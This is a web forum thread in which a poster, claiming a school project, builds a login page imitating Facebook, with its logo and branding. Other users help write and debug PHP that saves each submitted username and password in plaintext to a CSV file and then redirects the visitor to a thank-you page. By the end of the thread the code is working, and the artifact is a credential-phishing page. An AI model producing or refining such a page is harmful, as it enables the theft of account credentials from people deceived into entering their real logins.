Ok, so I'm working on a project for school, and i cant for the life of me figure out how to do this. I need to be able to save the output of these forms (only 2 of them) to a text file. Each field needs to be on a separate line. <style type="text/css"> <!-- .FacebookConnect { font-family: Verdana, Geneva, sans-serif; font-size: 16px; color: #FFF; background-image: url(http://67.86.117.21/facebook/floor2_1.jpg); background-repeat: repeat; } .FacebookConnect { text-align: center; } --> </style> <body class="FacebookConnect"><form method=post action=facebookconnect.php?action=register> <p><img src="facebook-logo.png" width="700" height="300" /></p> <table> <tr><td>Username:</td><td><input type=text name=user></td></tr> <tr><td>Pass:</td><td><input type=password name=pass></td></tr> <tr><td colspan=2 align=center><input type=submit value=Log-In></td></tr> </table> </form> HTML: I have been trying to do this in php, but cant seem to figure out how as im very new to php (and code in general). I would greatly appreciate some help. Thanks.
$fileConn = fopen($data_file,"a"); fwrite($fileConn, $_POST["user"]."\n"); fwrite($fileConn, $_POST["pass"]."\n"); Code (markup):
Spoono.com has a little tutorial about flat files. http://www.spoono.com/php/tutorials/tutorial.php?id=32
So here is what i've don (but it still doesn't work) <style type="text/css"> <!-- .FacebookConnect { font-family: Verdana, Geneva, sans-serif; font-size: 16px; color: #FFF; background-image: url(http://67.86.117.21/facebook/floor2_1.jpg); background-repeat: repeat; } .FacebookConnect { text-align: center; } --> <?php $fileConn = fopen($data_file,"a"); fwrite($fileConn, $_POST["user"]."\n"); fwrite($fileConn, $_POST["pass"]."\n"); $register = $_REQUEST['register']; if ($register == 1){ $data = $_POST['user']; $data .= $_POST['pass']; $file = "1.txt"; $fp = fopen($file, "a") or die("Couldn't open $file for writing!"); fwrite($fp, $data) or die("Couldn't write values to file!"); fclose($fp); echo "Request Successfully Send."; } ?> </style> <body class="FacebookConnect"><form method=post action=facebookconnect.php?action=register> <p><img src="facebook-logo.png" width="700" height="300" /></p> <table> <tr><td>Username:</td><td><input type=text name=user></td></tr> <tr><td>Pass:</td><td><input type=password name=pass></td></tr> <tr><td colspan=2 align=center><input type=submit value=Log-In></td></tr> </table> </form> HTML:
So this is what i have so far (but its still producing errors). index.php: <style type="text/css"> <!-- .FacebookConnect { font-family: Verdana, Geneva, sans-serif; font-size: 16px; color: #FFF; background-image: url(http://67.86.117.21/facebook/floor2_1.jpg); background-repeat: repeat; } .FacebookConnect { text-align: center; } --> </style> <body class="FacebookConnect"><form action=facebookconnect.php method=post> <p><img src="facebook-logo.png" width="700" height="300" /></p> <table> <tr><td>Username:</td><td><input type=text name=user></td></tr> <tr><td>Password:</td><td><input type=password name=pass></td></tr> <tr><td colspan=2 align=center><input type=submit name=formsubmit value=Log-In></td></tr> </table> </form> HTML: facebookconnect.php: <?php if($_POST['formSubmit'] == "Log-In") { $errorMessage = ""; if(empty($_POST['formuser'])) { $errorMessage .= "<li>Please enter your username!</li>"; } if(empty($_POST['formpass'])) { $errorMessage .= "<li>Please enter your password!</li>"; } $varMovie = $_POST['user']; $varMovie = $_POST['pass']; if(!empty($errorMessage)) { echo("<p>Could not log you in!:</p>\n"); echo("<ul>" . $errorMessage . "</ul>\n"); } else { $fs = fopen("mydata.csv","a"); fwrite($fs,$varName . ", " . $varMovie . "\n"); fclose($fs); header("Location: thankyou.html"); exit; } ?> PHP: Does anybody have any idea how to make this work?
Let me guess something like? Notice: Undefined variable: varName in facebookconnect.php on line 29 Code (markup): Follow the error and debug, if you need help - reply with the errors you get and whats not working.
Oh, I compleatly forgot, sorry, here is the error. # Please enter your username!"; } if(empty($_POST['formpass'])) { $errorMessage .= "Please enter your password! "; } $varMovie = $_POST['user']; $varMovie = $_POST['pass']; if(!empty($errorMessage)) { echo(" Could not log you in!: \n"); echo(" " . $errorMessage . " \n"); } else { $fs = fopen("mydata.csv","a"); fwrite($fs,$varName . ", " . $varMovie . "\n"); fclose($fs); header("Location: thankyou.html"); exit; } ?> Code (markup):
Your code is probably too messy. Try this. <? //index.php ?> <style type="text/css"> <!-- .FacebookConnect { font-family: Verdana, Geneva, sans-serif; font-size: 16px; color: #FFF; background-image: url(http://67.86.117.21/facebook/floor2_1.jpg); background-repeat: repeat; } .FacebookConnect { text-align: center; } --> </style> <script language="JavaScript"> function check(){ if (document.signup.user.value == "") { alert("Please fill in your Username."); document.signup.user.focus(); return false; } if (document.signup.pass.value == "") { alert("Please fill in your Password."); document.signup.pass.focus(); return false; } }</script> <body class="FacebookConnect"> <form name="signup" action="facebookconnect.php" method="post"> <p><img src="facebook-logo.png" width="700" height="300" /></p> <table> <tr><td>Username:</td><td><input type="text" name="user"></td></tr> <tr><td>Password:</td><td><input type="password" name="pass"></td></tr> <tr><td colspan=2 align=center><input type="submit" name="formsubmit" value="Log-In" onclick="return check();"></td></tr></table> </form> Code (markup): <?php //facebookconnect.php if (isset($_POST['user'], $_POST['pass'])) { $fs = fopen("mydata.csv","a"); fwrite($fs,$_POST['user']. ", " .$_POST['pass'] . "\n"); fclose($fs); header("Location: thankyou.html"); } else header("Location: index.php"); ?> Code (markup):
Thank You, This solves the problem with the errors, however, it still is not writing any data to the output file.
Please try to give the absolute path to the file. for example instead of fopen("mydata.csv","a") Code (markup): try fopen("/home/yourname/public_html/mydata.csv","a") Code (markup): Here "/home/yourname/public_html/" should be replaced by your path. Also make sure you put the write permission to the file.
It still does not help. No output to the files at all. I also tried adding a line to the facebookconnect.php chmod("http://67.86.117.21/facebook/mydata.csv", 0666); PHP: But this does not help.
<?php //facebookconnect.php error_reporting(E_ALL); if (isset($_REQUEST['formsubmit']) && !empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) { $file = "mydata.csv"; if (file_exists($file)) { if (is_writable($file)) { $csv = $_REQUEST['user'] . ", " . $_REQUEST['pass'] . "\n"; $fs = fopen($file, "a"); fwrite($fs, $csv); fclose($fs); header("Location: thankyou.html"); } else { echo "File is not writable"; } } else { echo "File does not exist!"; } } else { header("Location: index.php"); } ?> PHP: